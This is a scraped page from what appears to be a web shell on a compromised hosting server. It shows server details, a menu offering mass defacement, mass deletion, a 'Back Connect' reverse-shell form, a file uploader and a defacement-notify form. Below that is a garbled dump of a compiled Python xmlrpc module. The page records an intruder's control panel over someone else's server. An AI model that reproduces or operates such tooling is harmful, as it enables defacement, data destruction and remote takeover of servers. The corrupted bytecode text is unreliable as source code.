Linux premium216.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
66.29.141.148 | Your IP: 18.191.178.16
Cant read [ /etc/named.conf ]
[
drwxr-xr-x
]
/
usr
/
lib64
/
python3.6
/
xmlrpc
/
__pycache__
/
Submit
Home
Upload
Mass Deface
Mass Delete
Back Connect
Notify
File Uploader
Upload
File Name
File Content
Create
Folder Name
Create
Directory
File Name
File Content
Submit
Directory
File Name
Submit
Ip
Port
Submit
Nickname
Team
Website
Submit
server.cpython-36.opt-1.pyc
3 ��fK� � @ s d Z ddlmZmZmZmZmZ ddlmZ ddl Z ddlZ ddlZddlZddl Z ddlZddlZddlZddlZyddlZW n ek r� dZY nX d*dd�Zdd � ZG d d� d�ZG dd � d e�ZG dd� deje�ZG dd� de�ZG dd� de�ZG dd� dej�ZG dd� d�ZG dd� de�ZG dd� dee�Z G dd� dee�Z!e"dk�r�ddl#Z#G dd � d �Z$ed+��~Z%e%j&e'� e%j&d#d$� d%� e%j(e$� dd&� e%j)� e*d'� e*d(� ye%j+� W n( e,k �r� e*d)� ej-d� Y nX W dQ R X dS ),a XML-RPC Servers. This module can be used to create simple XML-RPC servers by creating a server and either installing functions, a class instance, or by extending the SimpleXMLRPCServer class. It can also be used to handle XML-RPC requests in a CGI environment using CGIXMLRPCRequestHandler. The Doc* classes can be used to create XML-RPC servers that serve pydoc-style documentation in response to HTTP GET requests. This documentation is dynamically generated based on the functions and methods registered with the server. A list of possible usage patterns follows: 1. Install functions: server = SimpleXMLRPCServer(("localhost", 8000)) server.register_function(pow) server.register_function(lambda x,y: x+y, 'add') server.serve_forever() 2. Install an instance: class MyFuncs: def __init__(self): # make all of the sys functions available through sys.func_name import sys self.sys = sys def _listMethods(self): # implement this method so that system.listMethods # knows to advertise the sys methods return list_public_methods(self) + \ ['sys.' + method for method in list_public_methods(self.sys)] def pow(self, x, y): return pow(x, y) def add(self, x, y) : return x + y server = SimpleXMLRPCServer(("localhost", 8000)) server.register_introspection_functions() server.register_instance(MyFuncs()) server.serve_forever() 3. Install an instance with custom dispatch method: class Math: def _listMethods(self): # this method must be present for system.listMethods # to work return ['add', 'pow'] def _methodHelp(self, method): # this method must be present for system.methodHelp # to work if method == 'add': return "add(2,3) => 5" elif method == 'pow': return "pow(x, y[, z]) => number" else: # By convention, return empty # string if no help is available return "" def _dispatch(self, method, params): if method == 'pow': return pow(*params) elif method == 'add': return params[0] + params[1] else: raise ValueError('bad method') server = SimpleXMLRPCServer(("localhost", 8000)) server.register_introspection_functions() server.register_instance(Math()) server.serve_forever() 4. Subclass SimpleXMLRPCServer: class MathServer(SimpleXMLRPCServer): def _dispatch(self, method, params): try: # We are forcing the 'export_' prefix on methods that are # callable through XML-RPC to prevent potential security # problems func = getattr(self, 'export_' + method) except AttributeError: raise Exception('method "%s" is not supported' % method) else: return func(*params) def export_add(self, x, y): return x + y server = MathServer(("localhost", 8000)) server.serve_forever() 5. CGI script: server = CGIXMLRPCRequestHandler() server.register_function(pow) server.handle_request() � )�Fault�dumps�loads�gzip_encode�gzip_decode)�BaseHTTPRequestHandlerNTc C sJ |r|j d�}n|g}x.|D ]&}|jd�r8td| ��qt| |�} qW | S )aG resolve_dotted_attribute(a, 'b.c.d') => a.b.c.d Resolves a dotted attribute name to an object. Raises an AttributeError if any attribute in the chain starts with a '_'. If the optional allow_dotted_names argument is false, dots are not supported and this function operates similar to getattr(obj, attr). �.�_z(attempt to access private attribute "%s")�split� startswith�AttributeError�getattr)�obj�attr�allow_dotted_namesZattrs�i� r �%/usr/lib64/python3.6/xmlrpc/server.py�resolve_dotted_attribute{ s r c s � fdd�t � �D �S )zkReturns a list of attribute strings, found in the specified object, which represent callable attributesc s* g | ]"}|j d � rtt� |��r|�qS )r )r �callabler )�.0�member)r r r � <listcomp>� s z'list_public_methods.<locals>.<listcomp>)�dir)r r )r r �list_public_methods� s r c @ sp e Zd ZdZddd�Zddd�Zddd �Zd d� Zdd � Zddd�Z dd� Z dd� Zdd� Zdd� Z dd� ZdS )�SimpleXMLRPCDispatchera& Mix-in class that dispatches XML-RPC requests. This class is used to register XML-RPC method handlers and then to dispatch them. This class doesn't need to be instanced directly when used by SimpleXMLRPCServer but it can be instanced when used by the MultiPathXMLRPCServer FNc C s&